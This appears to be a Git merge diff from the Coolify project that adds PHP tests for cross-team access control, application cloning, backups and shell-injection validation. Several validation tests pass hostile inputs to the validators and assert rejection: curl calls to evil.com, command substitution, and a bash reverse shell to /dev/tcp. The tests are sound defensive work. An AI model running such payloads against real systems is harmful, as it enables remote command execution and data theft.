Merge remote-tracking branch 'origin/next' into 9076-investigate-pre-deployment

This commit is contained in:
Andras Bacsai committed 2026-03-31 16:49:43 +02:00
commit 2abb073b52
411 files changed
+23724 -2804

No files matched your search

@@ -0,0 +1,132 @@
<?php
use App\Livewire\ActivityMonitor;
use App\Models\Server;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Exceptions\CannotUpdateLockedPropertyException;
use Livewire\Livewire;
use Spatie\Activitylog\Models\Activity;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
$this->otherTeam = Team::factory()->create();
});
test('hydrateActivity blocks access to another teams activity via team_id', function () {
$otherActivity = Activity::create([
'log_name' => 'default',
'description' => 'test activity',
'properties' => ['team_id' => $this->otherTeam->id],
]);
$this->actingAs($this->user);
session(['currentTeam' => ['id' => $this->team->id]]);
Livewire::test(ActivityMonitor::class)
->call('newMonitorActivity', $otherActivity->id)
->assertSet('activity', null);
});
test('hydrateActivity allows access to own teams activity via team_id', function () {
$ownActivity = Activity::create([
'log_name' => 'default',
'description' => 'test activity',
'properties' => ['team_id' => $this->team->id],
]);
$this->actingAs($this->user);
session(['currentTeam' => ['id' => $this->team->id]]);
$component = Livewire::test(ActivityMonitor::class)
->call('newMonitorActivity', $ownActivity->id);
expect($component->get('activity'))->not->toBeNull();
expect($component->get('activity')->id)->toBe($ownActivity->id);
});
test('hydrateActivity blocks access to activity without team_id or server_uuid', function () {
$legacyActivity = Activity::create([
'log_name' => 'default',
'description' => 'legacy activity',
'properties' => [],
]);
$this->actingAs($this->user);
session(['currentTeam' => ['id' => $this->team->id]]);
Livewire::test(ActivityMonitor::class)
->call('newMonitorActivity', $legacyActivity->id)
->assertSet('activity', null);
});
test('hydrateActivity blocks access to activity from another teams server via server_uuid', function () {
$otherServer = Server::factory()->create([
'team_id' => $this->otherTeam->id,
]);
$otherActivity = Activity::create([
'log_name' => 'default',
'description' => 'test activity',
'properties' => ['server_uuid' => $otherServer->uuid],
]);
$this->actingAs($this->user);
session(['currentTeam' => ['id' => $this->team->id]]);
Livewire::test(ActivityMonitor::class)
->call('newMonitorActivity', $otherActivity->id)
->assertSet('activity', null);
});
test('hydrateActivity allows access to activity from own teams server via server_uuid', function () {
$ownServer = Server::factory()->create([
'team_id' => $this->team->id,
]);
$ownActivity = Activity::create([
'log_name' => 'default',
'description' => 'test activity',
'properties' => ['server_uuid' => $ownServer->uuid],
]);
$this->actingAs($this->user);
session(['currentTeam' => ['id' => $this->team->id]]);
$component = Livewire::test(ActivityMonitor::class)
->call('newMonitorActivity', $ownActivity->id);
expect($component->get('activity'))->not->toBeNull();
expect($component->get('activity')->id)->toBe($ownActivity->id);
});
test('hydrateActivity returns null for non-existent activity id', function () {
$this->actingAs($this->user);
session(['currentTeam' => ['id' => $this->team->id]]);
Livewire::test(ActivityMonitor::class)
->call('newMonitorActivity', 99999)
->assertSet('activity', null);
});
test('activityId property is locked and cannot be set from client', function () {
$otherActivity = Activity::create([
'log_name' => 'default',
'description' => 'test activity',
'properties' => ['team_id' => $this->otherTeam->id],
]);
$this->actingAs($this->user);
session(['currentTeam' => ['id' => $this->team->id]]);
// Attempting to set a #[Locked] property from the client should throw
Livewire::test(ActivityMonitor::class)
->set('activityId', $otherActivity->id)
->assertStatus(500);
})->throws(CannotUpdateLockedPropertyException::class);
@@ -0,0 +1,118 @@
<?php
use App\Livewire\Admin\Index as AdminIndex;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Livewire;
uses(RefreshDatabase::class);
test('unauthenticated user cannot access admin route', function () {
$response = $this->get('/admin');
$response->assertRedirect('/login');
});
test('authenticated non-root user gets 403 on admin page', function () {
$team = Team::factory()->create();
$user = User::factory()->create();
$team->members()->attach($user->id, ['role' => 'admin']);
$this->actingAs($user);
session(['currentTeam' => ['id' => $team->id]]);
Livewire::test(AdminIndex::class)
->assertForbidden();
});
test('root user can access admin page in cloud mode', function () {
config()->set('constants.coolify.self_hosted', false);
$rootTeam = Team::find(0) ?? Team::factory()->create(['id' => 0]);
$rootUser = User::factory()->create(['id' => 0]);
$rootTeam->members()->attach($rootUser->id, ['role' => 'admin']);
$this->actingAs($rootUser);
session(['currentTeam' => ['id' => $rootTeam->id]]);
Livewire::test(AdminIndex::class)
->assertOk();
});
test('root user gets 403 on admin page in self-hosted non-dev mode', function () {
config()->set('constants.coolify.self_hosted', true);
config()->set('app.env', 'production');
$rootTeam = Team::find(0) ?? Team::factory()->create(['id' => 0]);
$rootUser = User::factory()->create(['id' => 0]);
$rootTeam->members()->attach($rootUser->id, ['role' => 'admin']);
$this->actingAs($rootUser);
session(['currentTeam' => ['id' => $rootTeam->id]]);
Livewire::test(AdminIndex::class)
->assertForbidden();
});
test('submitSearch requires admin authorization', function () {
$team = Team::factory()->create();
$user = User::factory()->create();
$team->members()->attach($user->id, ['role' => 'admin']);
$this->actingAs($user);
session(['currentTeam' => ['id' => $team->id]]);
Livewire::test(AdminIndex::class)
->assertForbidden();
});
test('switchUser requires root user id 0', function () {
config()->set('constants.coolify.self_hosted', false);
$rootTeam = Team::find(0) ?? Team::factory()->create(['id' => 0]);
$rootUser = User::factory()->create(['id' => 0]);
$rootTeam->members()->attach($rootUser->id, ['role' => 'admin']);
$targetUser = User::factory()->create();
$targetTeam = Team::factory()->create();
$targetTeam->members()->attach($targetUser->id, ['role' => 'admin']);
$this->actingAs($rootUser);
session(['currentTeam' => ['id' => $rootTeam->id]]);
Livewire::test(AdminIndex::class)
->assertOk()
->call('switchUser', $targetUser->id)
->assertRedirect();
});
test('switchUser rejects non-root user', function () {
config()->set('constants.coolify.self_hosted', false);
$team = Team::factory()->create();
$user = User::factory()->create();
$team->members()->attach($user->id, ['role' => 'admin']);
// Must set impersonating session to bypass mount() check
$this->actingAs($user);
session([
'currentTeam' => ['id' => $team->id],
'impersonating' => true,
]);
Livewire::test(AdminIndex::class)
->call('switchUser', 999)
->assertForbidden();
});
test('admin route has auth middleware applied', function () {
$route = collect(app('router')->getRoutes()->getRoutesByName())
->get('admin.index');
expect($route)->not->toBeNull();
$middleware = $route->gatherMiddleware();
expect($middleware)->toContain('auth');
});
@@ -25,8 +25,8 @@ beforeEach(function () {
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
StandaloneDocker::withoutEvents(function () {
$this->destination = StandaloneDocker::firstOrCreate(
['server_id' => $this->server->id, 'network' => 'coolify'],
$this->destination = $this->server->standaloneDockers()->firstOrCreate(
['network' => 'coolify'],
['uuid' => (string) new Cuid2, 'name' => 'test-docker']
);
});
+60
View File
@@ -0,0 +1,60 @@
<?php
use App\Livewire\Project\Application\General;
use App\Models\Application;
use App\Models\Environment;
use App\Models\Project;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Livewire;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
$this->actingAs($this->user);
session(['currentTeam' => $this->team]);
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
});
describe('Application Redirect', function () {
test('setRedirect persists the redirect value to the database', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
'fqdn' => 'https://example.com,https://www.example.com',
'redirect' => 'both',
]);
Livewire::test(General::class, ['application' => $application])
->assertSuccessful()
->set('redirect', 'www')
->call('setRedirect')
->assertDispatched('success');
$application->refresh();
expect($application->redirect)->toBe('www');
});
test('setRedirect rejects www redirect when no www domain exists', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
'fqdn' => 'https://example.com',
'redirect' => 'both',
]);
Livewire::test(General::class, ['application' => $application])
->assertSuccessful()
->set('redirect', 'www')
->call('setRedirect')
->assertDispatched('error');
$application->refresh();
expect($application->redirect)->toBe('both');
});
});
+1 -1
View File
@@ -6,7 +6,7 @@ use App\Models\ApplicationSetting;
describe('Application Rollback', function () {
beforeEach(function () {
$this->application = new Application;
$this->application->forceFill([
$this->application->fill([
'uuid' => 'test-app-uuid',
'git_commit_sha' => 'HEAD',
]);
@@ -0,0 +1,160 @@
<?php
use App\Models\Application;
use App\Models\ApplicationPreview;
use App\Models\ApplicationSetting;
use App\Models\Environment;
use App\Models\LocalPersistentVolume;
use App\Models\Project;
use App\Models\ScheduledTask;
use App\Models\Server;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->user = User::factory()->create();
$this->team = Team::factory()->create();
$this->user->teams()->attach($this->team, ['role' => 'owner']);
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
$this->destination = $this->server->standaloneDockers()->firstOrFail();
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
$this->application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
'redirect' => 'both',
]);
$this->application->settings->fill([
'is_container_label_readonly_enabled' => false,
])->save();
$this->actingAs($this->user);
session(['currentTeam' => $this->team]);
});
test('cloning application generates new uuid for persistent volumes', function () {
$volume = LocalPersistentVolume::create([
'name' => $this->application->uuid.'-data',
'mount_path' => '/data',
'resource_id' => $this->application->id,
'resource_type' => $this->application->getMorphClass(),
]);
$originalUuid = $volume->uuid;
$newApp = clone_application($this->application, $this->destination, [
'environment_id' => $this->environment->id,
]);
$clonedVolume = $newApp->persistentStorages()->first();
expect($clonedVolume)->not->toBeNull();
expect($clonedVolume->uuid)->not->toBe($originalUuid);
expect($clonedVolume->mount_path)->toBe('/data');
});
test('cloning application with multiple persistent volumes generates unique uuids', function () {
$volume1 = LocalPersistentVolume::create([
'name' => $this->application->uuid.'-data',
'mount_path' => '/data',
'resource_id' => $this->application->id,
'resource_type' => $this->application->getMorphClass(),
]);
$volume2 = LocalPersistentVolume::create([
'name' => $this->application->uuid.'-config',
'mount_path' => '/config',
'resource_id' => $this->application->id,
'resource_type' => $this->application->getMorphClass(),
]);
$newApp = clone_application($this->application, $this->destination, [
'environment_id' => $this->environment->id,
]);
$clonedVolumes = $newApp->persistentStorages()->get();
expect($clonedVolumes)->toHaveCount(2);
$clonedUuids = $clonedVolumes->pluck('uuid')->toArray();
$originalUuids = [$volume1->uuid, $volume2->uuid];
// All cloned UUIDs should be unique and different from originals
expect($clonedUuids)->each->not->toBeIn($originalUuids);
expect(array_unique($clonedUuids))->toHaveCount(2);
});
test('cloning application reassigns settings to the cloned application', function () {
$this->application->settings->fill([
'is_static' => true,
'is_spa' => true,
'is_build_server_enabled' => true,
])->save();
$newApp = clone_application($this->application, $this->destination, [
'environment_id' => $this->environment->id,
]);
$sourceSettingsCount = ApplicationSetting::query()
->where('application_id', $this->application->id)
->count();
$clonedSettings = ApplicationSetting::query()
->where('application_id', $newApp->id)
->first();
expect($sourceSettingsCount)->toBe(1)
->and($clonedSettings)->not->toBeNull()
->and($clonedSettings?->application_id)->toBe($newApp->id)
->and($clonedSettings?->is_static)->toBeTrue()
->and($clonedSettings?->is_spa)->toBeTrue()
->and($clonedSettings?->is_build_server_enabled)->toBeTrue();
});
test('cloning application reassigns scheduled tasks and previews to the cloned application', function () {
$scheduledTask = ScheduledTask::create([
'uuid' => 'scheduled-task-original',
'application_id' => $this->application->id,
'team_id' => $this->team->id,
'name' => 'nightly-task',
'command' => 'php artisan schedule:run',
'frequency' => '* * * * *',
'container' => 'app',
'timeout' => 120,
]);
$preview = ApplicationPreview::create([
'uuid' => 'preview-original',
'application_id' => $this->application->id,
'pull_request_id' => 123,
'pull_request_html_url' => 'https://example.com/pull/123',
'fqdn' => 'https://preview.example.com',
'status' => 'running',
]);
$newApp = clone_application($this->application, $this->destination, [
'environment_id' => $this->environment->id,
]);
$clonedTask = ScheduledTask::query()
->where('application_id', $newApp->id)
->first();
$clonedPreview = ApplicationPreview::query()
->where('application_id', $newApp->id)
->first();
expect($clonedTask)->not->toBeNull()
->and($clonedTask?->uuid)->not->toBe($scheduledTask->uuid)
->and($clonedTask?->application_id)->toBe($newApp->id)
->and($clonedTask?->team_id)->toBe($this->team->id)
->and($clonedPreview)->not->toBeNull()
->and($clonedPreview?->uuid)->not->toBe($preview->uuid)
->and($clonedPreview?->application_id)->toBe($newApp->id)
->and($clonedPreview?->status)->toBe('exited');
});
+195 -11
View File
@@ -1,6 +1,7 @@
<?php
use App\Jobs\ApplicationDeploymentJob;
use App\Support\ValidationPatterns;
describe('deployment job path field validation', function () {
test('rejects shell metacharacters in dockerfile_location', function () {
@@ -197,7 +198,7 @@ describe('sharedDataApplications rules survive array_merge in controller', funct
// The merged rules for docker_compose_location should be the safe regex, not just 'string'
expect($merged['docker_compose_location'])->toBeArray();
expect($merged['docker_compose_location'])->toContain('regex:'.\App\Support\ValidationPatterns::FILE_PATH_PATTERN);
expect($merged['docker_compose_location'])->toContain('regex:'.ValidationPatterns::FILE_PATH_PATTERN);
});
});
@@ -285,7 +286,7 @@ describe('dockerfile_target_build validation', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
// Test that validateShellSafeCommand is also available as a pattern
$pattern = \App\Support\ValidationPatterns::DOCKER_TARGET_PATTERN;
$pattern = ValidationPatterns::DOCKER_TARGET_PATTERN;
expect(preg_match($pattern, 'production'))->toBe(1);
expect(preg_match($pattern, 'build; env'))->toBe(0);
expect(preg_match($pattern, 'target`whoami`'))->toBe(0);
@@ -364,15 +365,15 @@ describe('docker_compose_custom_command validation', function () {
expect($validator->fails())->toBeTrue();
});
test('rejects ampersand chaining in docker_compose_custom_start_command', function () {
test('allows ampersand chaining in docker_compose_custom_start_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_custom_start_command' => 'docker compose up && rm -rf /'],
['docker_compose_custom_start_command' => 'docker compose up && docker compose logs'],
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
);
expect($validator->fails())->toBeTrue();
expect($validator->fails())->toBeFalse();
});
test('rejects command substitution in docker_compose_custom_build_command', function () {
@@ -399,6 +400,7 @@ describe('docker_compose_custom_command validation', function () {
'docker compose build',
'docker compose up -d --build',
'docker compose -f custom.yml build --no-cache',
'docker compose build && docker tag registry.example.com/app:beta localhost:5000/app:beta && docker push localhost:5000/app:beta',
]);
test('rejects backslash in docker_compose_custom_start_command', function () {
@@ -423,15 +425,15 @@ describe('docker_compose_custom_command validation', function () {
expect($validator->fails())->toBeTrue();
});
test('rejects double quotes in docker_compose_custom_start_command', function () {
test('allows double quotes in docker_compose_custom_start_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_custom_start_command' => 'docker compose up -d --build "malicious"'],
['docker_compose_custom_start_command' => 'docker compose up -d --build --build-arg VERSION="1.0.0"'],
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
);
expect($validator->fails())->toBeTrue();
expect($validator->fails())->toBeFalse();
});
test('rejects newline injection in docker_compose_custom_start_command', function () {
@@ -564,7 +566,7 @@ describe('dockerfile_target_build rules survive array_merge in controller', func
expect($merged)->toHaveKey('dockerfile_target_build');
expect($merged['dockerfile_target_build'])->toBeArray();
expect($merged['dockerfile_target_build'])->toContain('regex:'.\App\Support\ValidationPatterns::DOCKER_TARGET_PATTERN);
expect($merged['dockerfile_target_build'])->toContain('regex:'.ValidationPatterns::DOCKER_TARGET_PATTERN);
});
});
@@ -582,7 +584,7 @@ describe('docker_compose_custom_command rules survive array_merge in controller'
$merged = array_merge($sharedRules, $localRules);
expect($merged['docker_compose_custom_start_command'])->toBeArray();
expect($merged['docker_compose_custom_start_command'])->toContain('regex:'.\App\Support\ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
expect($merged['docker_compose_custom_start_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
});
test('docker_compose_custom_build_command safe regex is not overridden by local rules', function () {
@@ -595,7 +597,7 @@ describe('docker_compose_custom_command rules survive array_merge in controller'
$merged = array_merge($sharedRules, $localRules);
expect($merged['docker_compose_custom_build_command'])->toBeArray();
expect($merged['docker_compose_custom_build_command'])->toContain('regex:'.\App\Support\ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
expect($merged['docker_compose_custom_build_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
});
});
@@ -670,3 +672,185 @@ describe('API route middleware for deploy actions', function () {
expect($middleware)->toContain('api.ability:deploy');
});
});
describe('install/build/start command validation (GHSA-9pp4-wcmj-rq73)', function () {
test('rejects semicolon injection in install_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['install_command' => 'npm install; curl evil.com'],
['install_command' => $rules['install_command']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects pipe injection in build_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['build_command' => 'npm run build | curl evil.com'],
['build_command' => $rules['build_command']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects command substitution in start_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['start_command' => 'npm start $(whoami)'],
['start_command' => $rules['start_command']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects backtick injection in install_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['install_command' => 'npm install `whoami`'],
['install_command' => $rules['install_command']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects dollar sign in build_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['build_command' => 'npm run build $HOME'],
['build_command' => $rules['build_command']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects reverse shell payload in install_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['install_command' => '"; bash -i >& /dev/tcp/172.23.0.1/1337 0>&1; #'],
['install_command' => $rules['install_command']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects newline injection in start_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['start_command' => "npm start\ncurl evil.com"],
['start_command' => $rules['start_command']]
);
expect($validator->fails())->toBeTrue();
});
test('allows valid install commands', function ($cmd) {
$rules = sharedDataApplications();
$validator = validator(
['install_command' => $cmd],
['install_command' => $rules['install_command']]
);
expect($validator->fails())->toBeFalse();
})->with([
'npm install',
'yarn install --frozen-lockfile',
'pip install -r requirements.txt',
'bun install',
'pnpm install --no-frozen-lockfile',
]);
test('allows valid build commands', function ($cmd) {
$rules = sharedDataApplications();
$validator = validator(
['build_command' => $cmd],
['build_command' => $rules['build_command']]
);
expect($validator->fails())->toBeFalse();
})->with([
'npm run build',
'cargo build --release',
'go build -o main .',
'yarn build && yarn postbuild',
'make build',
]);
test('allows valid start commands', function ($cmd) {
$rules = sharedDataApplications();
$validator = validator(
['start_command' => $cmd],
['start_command' => $rules['start_command']]
);
expect($validator->fails())->toBeFalse();
})->with([
'npm start',
'node server.js',
'python main.py',
'java -jar app.jar',
'./start.sh',
]);
test('allows null values for command fields', function ($field) {
$rules = sharedDataApplications();
$validator = validator(
[$field => null],
[$field => $rules[$field]]
);
expect($validator->fails())->toBeFalse();
})->with(['install_command', 'build_command', 'start_command']);
});
describe('install/build/start command rules survive array_merge in controller', function () {
test('install_command safe regex is not overridden by local rules', function () {
$sharedRules = sharedDataApplications();
$localRules = [
'name' => 'string|max:255',
'docker_compose_domains' => 'array|nullable',
];
$merged = array_merge($sharedRules, $localRules);
expect($merged['install_command'])->toBeArray();
expect($merged['install_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
});
test('build_command safe regex is not overridden by local rules', function () {
$sharedRules = sharedDataApplications();
$localRules = [
'name' => 'string|max:255',
'docker_compose_domains' => 'array|nullable',
];
$merged = array_merge($sharedRules, $localRules);
expect($merged['build_command'])->toBeArray();
expect($merged['build_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
});
test('start_command safe regex is not overridden by local rules', function () {
$sharedRules = sharedDataApplications();
$localRules = [
'name' => 'string|max:255',
'docker_compose_domains' => 'array|nullable',
];
$merged = array_merge($sharedRules, $localRules);
expect($merged['start_command'])->toBeArray();
expect($merged['start_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
});
});
+3
View File
@@ -17,6 +17,7 @@ it('populates fqdn from docker_compose_domains after generate_preview_fqdn_compo
$preview = ApplicationPreview::create([
'application_id' => $application->id,
'pull_request_id' => 42,
'pull_request_html_url' => 'https://github.com/example/repo/pull/42',
'docker_compose_domains' => $application->docker_compose_domains,
]);
@@ -41,6 +42,7 @@ it('populates fqdn with multiple domains from multiple services', function () {
$preview = ApplicationPreview::create([
'application_id' => $application->id,
'pull_request_id' => 7,
'pull_request_html_url' => 'https://github.com/example/repo/pull/7',
'docker_compose_domains' => $application->docker_compose_domains,
]);
@@ -66,6 +68,7 @@ it('sets fqdn to null when no domains are configured', function () {
$preview = ApplicationPreview::create([
'application_id' => $application->id,
'pull_request_id' => 99,
'pull_request_html_url' => 'https://github.com/example/repo/pull/99',
'docker_compose_domains' => $application->docker_compose_domains,
]);
@@ -0,0 +1,182 @@
<?php
use App\Livewire\Boarding\Index as BoardingIndex;
use App\Livewire\GlobalSearch;
use App\Livewire\Project\CloneMe;
use App\Livewire\Project\DeleteProject;
use App\Models\Environment;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Livewire;
uses(RefreshDatabase::class);
beforeEach(function () {
// Attacker: Team A
$this->userA = User::factory()->create();
$this->teamA = Team::factory()->create();
$this->userA->teams()->attach($this->teamA, ['role' => 'owner']);
$this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]);
$this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
$this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]);
// Victim: Team B
$this->userB = User::factory()->create();
$this->teamB = Team::factory()->create();
$this->userB->teams()->attach($this->teamB, ['role' => 'owner']);
$this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]);
$this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]);
$this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]);
// Act as attacker (Team A)
$this->actingAs($this->userA);
session(['currentTeam' => $this->teamA]);
});
describe('Boarding Server IDOR (GHSA-qfcc-2fm3-9q42)', function () {
test('boarding mount cannot load server from another team via selectedExistingServer', function () {
$component = Livewire::test(BoardingIndex::class, [
'selectedServerType' => 'remote',
'selectedExistingServer' => $this->serverB->id,
]);
// The server from Team B should NOT be loaded
expect($component->get('createdServer'))->toBeNull();
});
test('boarding mount can load own team server via selectedExistingServer', function () {
$component = Livewire::test(BoardingIndex::class, [
'selectedServerType' => 'remote',
'selectedExistingServer' => $this->serverA->id,
]);
// Own team server should load successfully
expect($component->get('createdServer'))->not->toBeNull();
expect($component->get('createdServer')->id)->toBe($this->serverA->id);
});
});
describe('Boarding Project IDOR (GHSA-qfcc-2fm3-9q42)', function () {
test('boarding mount cannot load project from another team via selectedProject', function () {
$component = Livewire::test(BoardingIndex::class, [
'selectedProject' => $this->projectB->id,
]);
// The project from Team B should NOT be loaded
expect($component->get('createdProject'))->toBeNull();
});
test('boarding selectExistingProject cannot load project from another team', function () {
$component = Livewire::test(BoardingIndex::class)
->set('selectedProject', $this->projectB->id)
->call('selectExistingProject');
expect($component->get('createdProject'))->toBeNull();
$component->assertDispatched('error');
});
test('boarding selectExistingProject can load own team project', function () {
$component = Livewire::test(BoardingIndex::class)
->set('selectedProject', $this->projectA->id)
->call('selectExistingProject');
expect($component->get('createdProject'))->not->toBeNull();
expect($component->get('createdProject')->id)->toBe($this->projectA->id);
});
});
describe('GlobalSearch Server IDOR (GHSA-qfcc-2fm3-9q42)', function () {
test('loadDestinations cannot access server from another team', function () {
$component = Livewire::test(GlobalSearch::class)
->set('selectedServerId', $this->serverB->id)
->call('loadDestinations');
// Should dispatch error because server is not found (team-scoped)
$component->assertDispatched('error');
});
});
describe('GlobalSearch Project IDOR (GHSA-qfcc-2fm3-9q42)', function () {
test('loadEnvironments cannot access project from another team', function () {
$component = Livewire::test(GlobalSearch::class)
->set('selectedProjectUuid', $this->projectB->uuid)
->call('loadEnvironments');
// Should not load environments from another team's project
expect($component->get('availableEnvironments'))->toBeEmpty();
});
});
describe('DeleteProject IDOR (GHSA-qfcc-2fm3-9q42)', function () {
test('cannot mount DeleteProject with project from another team', function () {
// Should throw ModelNotFoundException (404) because team-scoped query won't find it
Livewire::test(DeleteProject::class, ['project_id' => $this->projectB->id]);
})->throws(\Illuminate\Database\Eloquent\ModelNotFoundException::class);
test('can mount DeleteProject with own team project', function () {
$component = Livewire::test(DeleteProject::class, ['project_id' => $this->projectA->id]);
expect($component->get('projectName'))->toBe($this->projectA->name);
});
});
describe('CloneMe Project IDOR (GHSA-qfcc-2fm3-9q42)', function () {
test('cannot mount CloneMe with project UUID from another team', function () {
// Should throw ModelNotFoundException because team-scoped query won't find it
Livewire::test(CloneMe::class, [
'project_uuid' => $this->projectB->uuid,
'environment_uuid' => $this->environmentB->uuid,
]);
})->throws(\Illuminate\Database\Eloquent\ModelNotFoundException::class);
test('can mount CloneMe with own team project UUID', function () {
$component = Livewire::test(CloneMe::class, [
'project_uuid' => $this->projectA->uuid,
'environment_uuid' => $this->environmentA->uuid,
]);
expect($component->get('project_id'))->toBe($this->projectA->id);
});
});
describe('DeployController API Server IDOR (GHSA-qfcc-2fm3-9q42)', function () {
test('deploy cancel API cannot access build server from another team', function () {
// Create a deployment queue entry that references Team B's server as build_server
$application = \App\Models\Application::factory()->create([
'environment_id' => $this->environmentA->id,
'destination_id' => StandaloneDocker::factory()->create(['server_id' => $this->serverA->id])->id,
'destination_type' => StandaloneDocker::class,
]);
$deployment = \App\Models\ApplicationDeploymentQueue::create([
'application_id' => $application->id,
'deployment_uuid' => 'test-deploy-' . fake()->uuid(),
'server_id' => $this->serverA->id,
'build_server_id' => $this->serverB->id, // Cross-team build server
'status' => \App\Enums\ApplicationDeploymentStatus::IN_PROGRESS->value,
]);
$token = $this->userA->createToken('test-token', ['*']);
$response = $this->withHeaders([
'Authorization' => 'Bearer ' . $token->plainTextToken,
])->deleteJson("/api/v1/deployments/{$deployment->deployment_uuid}");
// The cancellation should proceed but the build_server should NOT be found
// (team-scoped query returns null for Team B's server)
// The deployment gets cancelled but no remote process runs on the wrong server
$response->assertOk();
// Verify the deployment was cancelled
$deployment->refresh();
expect($deployment->status)->toBe(
\App\Enums\ApplicationDeploymentStatus::CANCELLED_BY_USER->value
);
});
});
+76
View File
@@ -120,6 +120,82 @@ test('deleting s3 storage disables s3 on linked backups', function () {
expect($unrelatedBackup->save_s3)->toBeTruthy();
});
test('failed method does not overwrite successful backup status', function () {
$team = Team::factory()->create();
$backup = ScheduledDatabaseBackup::create([
'frequency' => '0 0 * * *',
'save_s3' => false,
'database_type' => 'App\Models\StandalonePostgresql',
'database_id' => 1,
'team_id' => $team->id,
]);
$log = ScheduledDatabaseBackupExecution::create([
'uuid' => 'test-uuid-success-guard',
'database_name' => 'test_db',
'filename' => '/backup/test.dmp',
'scheduled_database_backup_id' => $backup->id,
'status' => 'success',
'message' => 'Backup completed successfully',
'size' => 1024,
]);
$job = new DatabaseBackupJob($backup);
$reflection = new ReflectionClass($job);
$teamProp = $reflection->getProperty('team');
$teamProp->setValue($job, $team);
$logUuidProp = $reflection->getProperty('backup_log_uuid');
$logUuidProp->setValue($job, 'test-uuid-success-guard');
// Simulate a post-backup failure (e.g. notification error)
$job->failed(new Exception('Request to the Resend API failed'));
$log->refresh();
expect($log->status)->toBe('success');
expect($log->message)->toBe('Backup completed successfully');
expect($log->size)->toBe(1024);
});
test('failed method updates status when backup was not successful', function () {
$team = Team::factory()->create();
$backup = ScheduledDatabaseBackup::create([
'frequency' => '0 0 * * *',
'save_s3' => false,
'database_type' => 'App\Models\StandalonePostgresql',
'database_id' => 1,
'team_id' => $team->id,
]);
$log = ScheduledDatabaseBackupExecution::create([
'uuid' => 'test-uuid-pending-guard',
'database_name' => 'test_db',
'filename' => '/backup/test.dmp',
'scheduled_database_backup_id' => $backup->id,
'status' => 'pending',
]);
$job = new DatabaseBackupJob($backup);
$reflection = new ReflectionClass($job);
$teamProp = $reflection->getProperty('team');
$teamProp->setValue($job, $team);
$logUuidProp = $reflection->getProperty('backup_log_uuid');
$logUuidProp->setValue($job, 'test-uuid-pending-guard');
$job->failed(new Exception('Some real failure'));
$log->refresh();
expect($log->status)->toBe('failed');
expect($log->message)->toContain('Some real failure');
});
test('s3 storage has scheduled backups relationship', function () {
$team = Team::factory()->create();
@@ -0,0 +1,125 @@
<?php
use App\Livewire\Project\Database\Import;
use App\Support\ValidationPatterns;
describe('container name validation', function () {
test('isValidContainerName accepts valid container names', function () {
expect(ValidationPatterns::isValidContainerName('my-container'))->toBeTrue();
expect(ValidationPatterns::isValidContainerName('my_container'))->toBeTrue();
expect(ValidationPatterns::isValidContainerName('container123'))->toBeTrue();
expect(ValidationPatterns::isValidContainerName('my.container.name'))->toBeTrue();
expect(ValidationPatterns::isValidContainerName('a'))->toBeTrue();
expect(ValidationPatterns::isValidContainerName('abc-def_ghi.jkl'))->toBeTrue();
});
test('isValidContainerName rejects command injection payloads', function () {
// Command substitution
expect(ValidationPatterns::isValidContainerName('$(curl http://evil.com/$(whoami))'))->toBeFalse();
expect(ValidationPatterns::isValidContainerName('$(whoami)'))->toBeFalse();
// Backtick injection
expect(ValidationPatterns::isValidContainerName('`id`'))->toBeFalse();
// Semicolon chaining
